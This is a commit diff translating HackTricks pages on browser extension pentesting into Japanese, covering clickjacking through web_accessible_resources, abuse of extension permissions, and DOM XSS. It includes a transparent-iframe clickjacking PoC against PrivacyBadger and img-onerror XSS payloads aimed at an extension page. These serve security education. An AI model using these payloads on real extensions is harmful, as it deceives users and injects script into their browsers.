Translated ['src/pentesting-web/browser-extension-pentesting-methodology

This commit is contained in:
Translator 2025-01-02 14:24:36 +00:00
parent 05821756d8
commit c2d1c31707
337 changed files with 21022 additions and 25457 deletions

View File

@ -2,90 +2,86 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## 基本情報
This page is going to abuse a ClickJacking vulnerability in a Browser extension.\
If you don't know what ClickJacking is check:
このページでは、ブラウザ拡張機能のClickJacking脆弱性を悪用します。\
ClickJackingが何か分からない場合は、以下を確認してください
{{#ref}}
../clickjacking.md
{{#endref}}
Extensions contains the file **`manifest.json`** and that JSON file has a field `web_accessible_resources`. Here's what [the Chrome docs](https://developer.chrome.com/extensions/manifest/web_accessible_resources) say about it:
拡張機能には**`manifest.json`**ファイルが含まれており、そのJSONファイルには`web_accessible_resources`フィールドがあります。以下は[Chromeのドキュメント](https://developer.chrome.com/extensions/manifest/web_accessible_resources)に記載されている内容です:
> These resources would then be available in a webpage via the URL **`chrome-extension://[PACKAGE ID]/[PATH]`**, which can be generated with the **`extension.getURL method`**. Allowlisted resources are served with appropriate CORS headers, so they're available via mechanisms like XHR.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1)
> これらのリソースは、URL **`chrome-extension://[PACKAGE ID]/[PATH]`**を介してウェブページで利用可能になり、これは**`extension.getURL method`**を使用して生成できます。許可されたリソースは適切なCORSヘッダーで提供されるため、XHRなどのメカニズムを介して利用可能です。[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1)
The **`web_accessible_resources`** in a browser extension are not just accessible via the web; they also operate with the extension's inherent privileges. This means they have the capability to:
ブラウザ拡張機能の**`web_accessible_resources`**は、単にウェブを介してアクセス可能なだけでなく、拡張機能の固有の権限で動作します。これは、以下のことが可能であることを意味します:
- Change the extension's state
- Load additional resources
- Interact with the browser to a certain extent
- 拡張機能の状態を変更する
- 追加のリソースを読み込む
- 一定の範囲でブラウザと相互作用する
However, this feature presents a security risk. If a resource within **`web_accessible_resources`** has any significant functionality, an attacker could potentially embed this resource into an external web page. Unsuspecting users visiting this page might inadvertently activate this embedded resource. Such activation could lead to unintended consequences, depending on the permissions and capabilities of the extension's resources.
しかし、この機能はセキュリティリスクをもたらします。**`web_accessible_resources`**内のリソースに重要な機能がある場合、攻撃者はこのリソースを外部のウェブページに埋め込む可能性があります。このページを訪れる無防備なユーザーは、意図せずにこの埋め込まれたリソースをアクティブにしてしまうかもしれません。このようなアクティベーションは、拡張機能のリソースの権限と機能に応じて、意図しない結果を引き起こす可能性があります。
## PrivacyBadger Example
In the extension PrivacyBadger, a vulnerability was identified related to the `skin/` directory being declared as `web_accessible_resources` in the following manner (Check the original [blog post](https://blog.lizzie.io/clickjacking-privacy-badger.html)):
## PrivacyBadgerの例
拡張機能PrivacyBadgerでは、`skin/`ディレクトリが以下のように`web_accessible_resources`として宣言されていることに関連する脆弱性が特定されました(元の[ブログ投稿](https://blog.lizzie.io/clickjacking-privacy-badger.html)を確認してください):
```json
"web_accessible_resources": [
"skin/*",
"icons/*"
"skin/*",
"icons/*"
]
```
この設定は潜在的なセキュリティ問題を引き起こしました。具体的には、ブラウザのPrivacyBadgerアイコンとのインタラクション時にレンダリングされる`skin/popup.html`ファイルが`iframe`内に埋め込まれる可能性があります。この埋め込みは、ユーザーを騙して「このウェブサイトのPrivacyBadgerを無効にする」を誤ってクリックさせるために悪用される可能性があります。このような行動は、PrivacyBadgerの保護を無効にし、ユーザーをより多くのトラッキングにさらすことで、ユーザーのプライバシーを侵害します。このエクスプロイトの視覚的デモは、[**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm)で提供されているClickJackingのビデオ例で見ることができます。
This configuration led to a potential security issue. Specifically, the `skin/popup.html` file, which is rendered upon interaction with the PrivacyBadger icon in the browser, could be embedded within an `iframe`. This embedding could be exploited to deceive users into inadvertently clicking on "Disable PrivacyBadger for this Website". Such an action would compromise the user's privacy by disabling the PrivacyBadger protection and potentially subjecting the user to increased tracking. A visual demonstration of this exploit can be viewed in a ClickJacking video example provided at [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm).
この脆弱性に対処するために、簡単な解決策が実施されました:`web_accessible_resources`のリストから`/skin/*`を削除しました。この変更により、`skin/`ディレクトリのコンテンツにウェブアクセス可能なリソースを通じてアクセスまたは操作できないようにすることで、リスクが効果的に軽減されました。
To address this vulnerability, a straightforward solution was implemented: the removal of `/skin/*` from the list of `web_accessible_resources`. This change effectively mitigated the risk by ensuring that the content of the `skin/` directory could not be accessed or manipulated through web-accessible resources.
The fix was easy: **remove `/skin/*` from the `web_accessible_resources`**.
修正は簡単でした:**`web_accessible_resources`から`/skin/*`を削除する**。
### PoC
```html
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->
<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}
#stuff {
float: top;
position: absolute;
}
#stuff {
float: top;
position: absolute;
}
button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>
<div id="stuff">
<h1>Click the button</h1>
<button id="button">click me</button>
<h1>Click the button</h1>
<button id="button">click me</button>
</div>
<iframe
src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>
```
## Metamaskの例
## Metamask Example
A [**blog post about a ClickJacking in metamask can be found here**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). In this case, Metamask fixed the vulnerability by checking that the protocol used to access it was **`https:`** or **`http:`** (not **`chrome:`** for example):
A [**blog post about a ClickJacking in metamask can be found here**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9)。この場合、Metamaskは、アクセスに使用されるプロトコルが**`https:`**または**`http:`**であることを確認することで脆弱性を修正しました(例えば**`chrome:`**ではありません):
<figure><img src="../../images/image (21).png" alt=""><figcaption></figcaption></figure>
**Another ClickJacking fixed** in the Metamask extension was that users were able to **Click to whitelist** when a page was suspicious of being phishing because of `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. As that page was vulnerable to Clickjacking, an attacker could abuse it showing something normal to make the victim click to whitelist it without noticing, and then going back to the phishing page which will be whitelisted.
**Metamask拡張機能で修正された別のClickJacking**は、ユーザーがページがフィッシングの疑いがある場合に**ホワイトリストに追加するためにクリック**できたことです。これは`“web_accessible_resources”: [“inpage.js”, “phishing.html”]`によるものでした。そのページはClickjackingに対して脆弱であったため、攻撃者は被害者が気づかずにホワイトリストに追加するようにクリックさせるために、何か普通のものを表示して悪用することができ、その後フィッシングページに戻ることができました。
## Steam Inventory Helper Example
## Steam Inventory Helperの例
Check the following page to check how a **XSS** in a browser extension was chained with a **ClickJacking** vulnerability:
@ -93,10 +89,9 @@ Check the following page to check how a **XSS** in a browser extension was chain
browext-xss-example.md
{{#endref}}
## References
## 参考文献
- [https://blog.lizzie.io/clickjacking-privacy-badger.html](https://blog.lizzie.io/clickjacking-privacy-badger.html)
- [https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,113 +2,110 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## 基本情報
### **`permissions`**
Permissions are defined in the extension's **`manifest.json`** file using the **`permissions`** property and allow access to almost anything a browser can access (Cookies or Physical Storage):
Permissionsは拡張機能の**`manifest.json`**ファイルで**`permissions`**プロパティを使用して定義され、ブラウザがアクセスできるほぼすべてのもの(クッキーや物理ストレージ)へのアクセスを許可します:
The previous manifest declares that the extension requires the `storage` permission. This means that it can use [the storage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) to store its data persistently. Unlike cookies or `localStorage` APIs which give users some level of control, **extension storage can normally only be cleared by uninstalling the extension**.
前のマニフェストは、拡張機能が`storage`権限を必要とすることを宣言しています。これは、[ストレージAPI](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage)を使用してデータを永続的に保存できることを意味します。ユーザーにある程度の制御を与えるクッキーや`localStorage` APIとは異なり、**拡張機能のストレージは通常、拡張機能をアンインストールすることでのみクリアできます**。
An extension will request the permissions indicated in its **`manifest.json`** file and After installing the extension, you can **always check its permissions in your browser**, as shown in this image:
拡張機能は、**`manifest.json`**ファイルに示された権限を要求し、拡張機能をインストールした後は、**常にブラウザでその権限を確認できます**。以下の画像のように:
<figure><img src="../../images/image (18).png" alt=""><figcaption></figcaption></figure>
You can find the [**complete list of permissions a Chromium Browser Extension can request here**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) and a [**complete list for Firefox extensions here**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**.**
[**Chromiumブラウザ拡張機能が要求できる権限の完全なリストはこちら**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions)と、[**Firefox拡張機能の完全なリストはこちら**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)****
### `host_permissions`
The optional but powerful setting **`host_permissions`** indicates with which hosts the extension is going to be able to interact via apis such as [`cookies`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/cookies), [`webRequest`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest), and [`tabs`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs).
The following `host_permissions` basically allow every web:
オプションですが強力な設定である**`host_permissions`**は、拡張機能が[`cookies`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/cookies)、[`webRequest`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest)、および[`tabs`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs)などのAPIを介してどのホストと対話できるかを示します。
以下の`host_permissions`は基本的にすべてのウェブを許可します:
```json
"host_permissions": [
"*://*/*"
"*://*/*"
]
// Or:
"host_permissions": [
"http://*/*",
"https://*/*"
"http://*/*",
"https://*/*"
]
// Or:
"host_permissions": [
"<all_urls>"
"<all_urls>"
]
```
これらは、ブラウザ拡張が自由にアクセスできるホストです。これは、ブラウザ拡張が **`fetch("https://gmail.com/")`** を呼び出すとき、CORSによって制限されないためです。
These are the hosts that the browser extension can access freely. This is because when a browser extension calls **`fetch("https://gmail.com/")`** it's not restricted by CORS.
## `permissions``host_permissions` の悪用
## Abusing `permissions` and `host_permissions`
### タブ
### Tabs
Moreover, **`host_permissions`** also unlock “advanced” [**tabs API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) **functionality.** They allow the extension to call [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query) and not only get a **list of users browser tabs** back but also learn which **web page (meaning address and title) is loaded**.
さらに、**`host_permissions`** は「高度な」 [**tabs API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) **機能を解放します。** これにより、拡張は [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query) を呼び出し、**ユーザーのブラウザタブのリスト**を取得するだけでなく、どの**ウェブページ(アドレスとタイトルを意味する)が読み込まれているかを知ることができます。**
> [!CAUTION]
> Not only that, listeners like [**tabs.onUpdated**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated) **become way more useful as well**. These will be notified whenever a new page loads into a tab.
> それだけでなく、[**tabs.onUpdated**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated) **のようなリスナーもはるかに便利になります。** これらは、新しいページがタブに読み込まれるたびに通知されます。
### Running content scripts <a href="#running-content-scripts" id="running-content-scripts"></a>
### コンテンツスクリプトの実行 <a href="#running-content-scripts" id="running-content-scripts"></a>
Content scripts arent necessarily written statically into the extension manifest. Given sufficient **`host_permissions`**, **extensions can also load them dynamically by calling** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **or** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript).
コンテンツスクリプトは、必ずしも拡張マニフェストに静的に記述されるわけではありません。十分な**`host_permissions`**があれば、**拡張は** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **または** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript) **を呼び出すことで動的に読み込むこともできます。**
Both APIs allow executing not merely files contained in the extensions as content scripts but also **arbitrary cod**e. The former allows passing in JavaScript code as a string while the latter expects a JavaScript function which is less prone to injection vulnerabilities. Still, both APIs will wreak havoc if misused.
両方のAPIは、拡張に含まれるファイルだけでなく、**任意のコード**をコンテンツスクリプトとして実行することを許可します。前者はJavaScriptコードを文字列として渡すことを許可し、後者は注入脆弱性に対してより耐性のあるJavaScript関数を期待します。それでも、両方のAPIは誤用されると混乱を引き起こします。
> [!CAUTION]
> In addition to the capabilities above, content scripts could for example **intercept credentials** as these are entered into web pages. Another classic way to abuse them is **injecting advertising** on each an every website. Adding **scam messages** to abuse credibility of news websites is also possible. Finally, they could **manipulate banking** websites to reroute money transfers.
> 上記の機能に加えて、コンテンツスクリプトは例えば**資格情報を傍受する**ことができます。これらがウェブページに入力されるときに。これらを悪用するもう一つの古典的な方法は、**すべてのウェブサイトに広告を注入することです。** ニュースウェブサイトの信頼性を悪用するために**詐欺メッセージ**を追加することも可能です。最後に、**銀行**ウェブサイトを操作して送金を再ルーティングすることもできます。
### Implicit privileges <a href="#implicit-privileges" id="implicit-privileges"></a>
### 暗黙の特権 <a href="#implicit-privileges" id="implicit-privileges"></a>
Some extension privileges **dont have to be explicitly declared**. One example is the [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): its basic functionality is accessible without any privileges whatsoever. Any extension can be notified when you open and close tabs, it merely wont know which website these tabs correspond with.
一部の拡張特権は**明示的に宣言する必要がありません。** 一例は [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) です:その基本機能は、特権なしでアクセス可能です。どの拡張も、タブを開閉するときに通知を受け取ることができますが、これらのタブがどのウェブサイトに対応しているかは知りません。
Sounds too harmless? The [tabs.create() API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) is somewhat less so. It can be used to **create a new tab**, essentially the same as [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) which can be called by any website. Yet while `window.open()` is subject to the **pop-up blocker, `tabs.create()` isnt**.
無害すぎると思いますか? [tabs.create() API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) はそれほど無害ではありません。これは**新しいタブを作成する**ために使用でき、基本的には [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) と同じで、どのウェブサイトでも呼び出すことができます。しかし、`window.open()` は**ポップアップブロッカーの影響を受けますが、`tabs.create()` は影響を受けません。**
> [!CAUTION]
> An extension can create any number of tabs whenever it wants.
> 拡張は、いつでも任意の数のタブを作成できます。
If you look through possible `tabs.create()` parameters, youll also notice that its capabilities go way beyond what `window.open()` is allowed to control. And while Firefox doesnt allow `data:` URIs to be used with this API, Chrome has no such protection. **Use of such URIs on the top level has been** [**banned due to being abused for phishing**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**.**
`tabs.create()` の可能なパラメータを確認すると、その機能が `window.open()` が制御できる範囲をはるかに超えていることに気付くでしょう。そして、FirefoxはこのAPIで `data:` URI の使用を許可していませんが、Chromeにはそのような保護がありません。**このようなURIのトップレベルでの使用は** [**フィッシングの悪用のために禁止されています**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**。**
[**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update) is very similar to `tabs.create()` but will **modify an existing tab**. So a malicious extension can for example arbitrarily load an advertising page into one of your tabs, and it can activate the corresponding tab as well.
[**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update) `tabs.create()` に非常に似ていますが、**既存のタブを修正します。** したがって、悪意のある拡張は、例えば任意の広告ページをあなたのタブの1つに読み込むことができ、対応するタブをアクティブにすることもできます。
### Webcam, geolocation and friends <a href="#webcam-geolocation-and-friends" id="webcam-geolocation-and-friends"></a>
### ウェブカメラ、位置情報など <a href="#webcam-geolocation-and-friends" id="webcam-geolocation-and-friends"></a>
You probably know that websites can request special permissions, e.g. in order to access your webcam (video conferencing tools) or geographical location (maps). Its features with considerable potential for abuse, so users each time have to confirm that they still want this.
ウェブサイトが特別な権限を要求できることはご存知でしょう。例えば、ウェブカメラ(ビデオ会議ツール)や地理的位置(地図)にアクセスするためです。これは悪用の可能性が大きい機能であり、ユーザーは毎回これを確認する必要があります。
> [!CAUTION]
> Not so with browser extensions. **If a browser extension** [**wants access to your webcam or microphone**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, it only needs to ask for permission once**
> ブラウザ拡張ではそうではありません。**ブラウザ拡張が** [**ウェブカメラやマイクへのアクセスを要求する場合**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**、一度だけ許可を求める必要があります。**
Typically, an extension will do so immediately after being installed. Once this prompt is accepted, **webcam access is possible at any time**, even if the user isnt interacting with the extension at this point. Yes, a user will only accept this prompt if the extension really needs webcam access. But after that they have to trust the extension not to record anything secretly.
通常、拡張はインストール直後にこれを行います。このプロンプトが受け入れられると、**ウェブカメラへのアクセスはいつでも可能**になり、ユーザーがこの時点で拡張と対話していなくても可能です。はい、ユーザーは拡張が本当にウェブカメラへのアクセスを必要とする場合にのみこのプロンプトを受け入れます。しかし、その後は拡張が何かを秘密裏に録画しないことを信頼しなければなりません。
With access to [your exact geographical location](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) or [contents of your clipboard](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API), granting permission explicitly is unnecessary altogether. **An extension simply adds `geolocation` or `clipboard` to the** [**permissions entry**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **of its manifest**. These access privileges are then granted implicitly when the extension is installed. So a malicious or compromised extension with these privileges can create your movement profile or monitor your clipboard for copied passwords without you noticing anything.
[あなたの正確な地理的位置](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) や [クリップボードの内容](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API) へのアクセスがある場合、明示的に許可を与える必要はまったくありません。**拡張は単に `geolocation` または `clipboard` を** [**permissions entry**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **に追加します。** これらのアクセス権は、拡張がインストールされるときに暗黙的に付与されます。したがって、これらの特権を持つ悪意のあるまたは侵害された拡張は、あなたが何も気づかないうちにあなたの移動プロファイルを作成したり、コピーされたパスワードのためにクリップボードを監視したりすることができます。
Adding the **`history`** keyword to the [permissions entry](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) of the extension manifest grants **access to the** [**history API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). It allows retrieving the users entire browsing history all at once, without waiting for the user to visit these websites again.
**`history`** キーワードを拡張マニフェストの [permissions entry](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) に追加すると、**[history API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history)** へのアクセスが付与されます。これにより、ユーザーの全ブラウジング履歴を一度に取得でき、ユーザーがこれらのウェブサイトを再度訪れるのを待つ必要がありません。
The **`bookmarks`** **permission** has similar abuse potential, this one allows **reading out all bookmarks via the** [**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks).
**`bookmarks`** **権限** も同様の悪用の可能性があり、これにより**[bookmarks API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks)** を介してすべてのブックマークを読み取ることができます。
### Storage permission <a href="#the-storage-permission" id="the-storage-permission"></a>
### ストレージ権限 <a href="#the-storage-permission" id="the-storage-permission"></a>
The extension storage is merely a key-value collection, very similar to [localStorage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage) that any website could use. So no sensitive information should be stored here.
拡張のストレージは、非常に似たキー-バリューコレクションであり、[localStorage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage) を使用できる任意のウェブサイトと非常に似ています。したがって、ここに機密情報を保存すべきではありません。
However, advertising companies could also abuse this storage.
しかし、広告会社もこのストレージを悪用する可能性があります。
### More permissions
### さらなる権限
You can find the [**complete list of permissions a Chromium Browser Extension can request here**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) and a [**complete list for Firefox extensions here**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**.**
[**Chromiumブラウザ拡張が要求できる権限の完全なリストはここにあります**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) および [**Firefox拡張の完全なリストはここにあります**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)****
## Prevention <a href="#why-not-restrict-extension-privileges" id="why-not-restrict-extension-privileges"></a>
## 予防 <a href="#why-not-restrict-extension-privileges" id="why-not-restrict-extension-privileges"></a>
The policy of Google's developer explicitly forbids extensions from requesting more privileges than necessary for their functionality, effectively mitigating excessive permission requests. An instance where a browser extension overstepped this boundary involved its distribution with the browser itself rather than through an add-on store.
Googleの開発者のポリシーは、拡張がその機能に必要な以上の特権を要求することを明示的に禁止しており、過剰な権限要求を効果的に軽減しています。ブラウザ拡張がこの境界を越えた例は、アドオンストアではなくブラウザ自体に付属して配布されたことです。
Browsers could further curb the misuse of extension privileges. For instance, Chrome's [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) and [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) APIs, used for screen recording, are designed to minimize abuse. The tabCapture API can only be activated through direct user interaction, such as clicking on the extension icon, while desktopCapture requires user confirmation for the window to be recorded, preventing clandestine recording activities.
ブラウザは、拡張特権の悪用をさらに抑制できます。例えば、Chromeの [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) および [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) APIは、画面録画に使用され、悪用を最小限に抑えるように設計されています。tabCapture APIは、拡張アイコンをクリックするなどの直接的なユーザー操作を通じてのみアクティブ化でき、desktopCaptureは録画するウィンドウのユーザー確認を必要とし、秘密裏の録画活動を防ぎます。
However, tightening security measures often results in decreased flexibility and user-friendliness of extensions. The [activeTab permission](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) illustrates this trade-off. It was introduced to eliminate the need for extensions to request host privileges across the entire internet, allowing extensions to access only the current tab upon explicit activation by the user. This model is effective for extensions requiring user-initiated actions but falls short for those requiring automatic or pre-emptive actions, thereby compromising convenience and immediate responsiveness.
しかし、セキュリティ対策を強化すると、拡張の柔軟性とユーザーフレンドリーさが低下することがよくあります。[activeTab permission](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) はこのトレードオフを示しています。これは、拡張がインターネット全体にわたってホスト特権を要求する必要を排除するために導入され、ユーザーによって明示的にアクティブ化された場合にのみ、拡張が現在のタブにアクセスできるようにします。このモデルは、ユーザーが開始するアクションを必要とする拡張には効果的ですが、自動または事前のアクションを必要とする拡張には不十分であり、便利さと即時の応答性を損ないます。
## **References**
## **参考文献**
- [https://palant.info/2022/08/17/impact-of-extension-privileges/](https://palant.info/2022/08/17/impact-of-extension-privileges/)
- [https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,114 +1,100 @@
# BrowExt - XSS Example
# BrowExt - XSSの例
{{#include ../../banners/hacktricks-training.md}}
## Cross-Site Scripting (XSS) through Iframe
In this setup, a **content script** is implemented to instantiate an Iframe, incorporating a URL with query parameters as the source of the Iframe:
## Iframeを通じたクロスサイトスクリプティング (XSS)
このセットアップでは、**コンテンツスクリプト**が実装され、Iframeをインスタンス化し、Iframeのソースとしてクエリパラメータを含むURLを組み込んでいます:
```javascript
chrome.storage.local.get("message", (result) => {
let constructedURL =
chrome.runtime.getURL("message.html") +
"?content=" +
encodeURIComponent(result.message) +
"&redirect=https://example.net/details"
frame.src = constructedURL
let constructedURL =
chrome.runtime.getURL("message.html") +
"?content=" +
encodeURIComponent(result.message) +
"&redirect=https://example.net/details"
frame.src = constructedURL
})
```
A publicly accessible HTML page, **`message.html`**, is designed to dynamically add content to the document body based on the parameters in the URL:
公開アクセス可能なHTMLページ、**`message.html`**は、URLのパラメータに基づいてドキュメントボディにコンテンツを動的に追加するように設計されています
```javascript
$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search)
let userContent = urlParams.get("content")
$(document.body).html(
`${userContent} <button id='detailBtn'>Details</button>`
)
$("#detailBtn").on("click", () => {
let destinationURL = urlParams.get("redirect")
chrome.tabs.create({ url: destinationURL })
})
let urlParams = new URLSearchParams(window.location.search)
let userContent = urlParams.get("content")
$(document.body).html(
`${userContent} <button id='detailBtn'>Details</button>`
)
$("#detailBtn").on("click", () => {
let destinationURL = urlParams.get("redirect")
chrome.tabs.create({ url: destinationURL })
})
})
```
A malicious script is executed on an adversary's page, modifying the `content` parameter of the Iframe's source to introduce a **XSS payload**. This is achieved by updating the Iframe's source to include a harmful script:
悪意のあるスクリプトが敵のページで実行され、Iframeのソースの`content`パラメータが変更されて**XSSペイロード**が導入されます。これは、Iframeのソースを有害なスクリプトを含むように更新することで達成されます
```javascript
setTimeout(() => {
let targetFrame = document.querySelector("iframe").src
let baseURL = targetFrame.split("?")[0]
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>"
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`
let targetFrame = document.querySelector("iframe").src
let baseURL = targetFrame.split("?")[0]
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>"
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`
document.querySelector("iframe").src = maliciousURL
document.querySelector("iframe").src = maliciousURL
}, 1000)
```
An overly permissive Content Security Policy such as:
過度に許可されたコンテンツセキュリティポリシーは、次のようになります:
```json
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
```
JavaScriptの実行を許可し、システムをXSS攻撃に対して脆弱にします。
allows the execution of JavaScript, making the system vulnerable to XSS attacks.
An alternative approach to provoke the XSS involves creating an Iframe element and setting its source to include the harmful script as the `content` parameter:
XSSを引き起こす別のアプローチは、Iframe要素を作成し、そのソースを有害なスクリプトを`content`パラメータとして含むように設定することです:
```javascript
let newFrame = document.createElement("iframe")
newFrame.src =
"chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>")
"chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>")
document.body.append(newFrame)
```
## DOMベースのXSS + ClickJacking
## DOM-based XSS + ClickJacking
This example was taken from the [original post writeup](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/).
The core issue arises from a DOM-based Cross-site Scripting (XSS) vulnerability located in **`/html/bookmarks.html`**. The problematic JavaScript, part of **`bookmarks.js`**, is detailed below:
この例は、[元の投稿の要約](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)から取られました。
コアの問題は、**`/html/bookmarks.html`**にあるDOMベースのクロスサイトスクリプティングXSS脆弱性から生じます。問題のあるJavaScriptは、**`bookmarks.js`**の一部で、以下に詳述されています:
```javascript
$("#btAdd").on("click", function () {
var bookmarkName = $("#txtName").val()
if (
$(".custom-button .label").filter(function () {
return $(this).text() === bookmarkName
}).length
)
return false
var bookmarkName = $("#txtName").val()
if (
$(".custom-button .label").filter(function () {
return $(this).text() === bookmarkName
}).length
)
return false
var bookmarkItem = $('<div class="custom-button">')
bookmarkItem.html('<span class="label">' + bookmarkName + "</span>")
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>')
bookmarkItem.attr("data-title", bookmarkName)
bookmarkItem.data("timestamp", new Date().getTime())
$("section.bookmark-container .existing-items").append(bookmarkItem)
persistData()
var bookmarkItem = $('<div class="custom-button">')
bookmarkItem.html('<span class="label">' + bookmarkName + "</span>")
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>')
bookmarkItem.attr("data-title", bookmarkName)
bookmarkItem.data("timestamp", new Date().getTime())
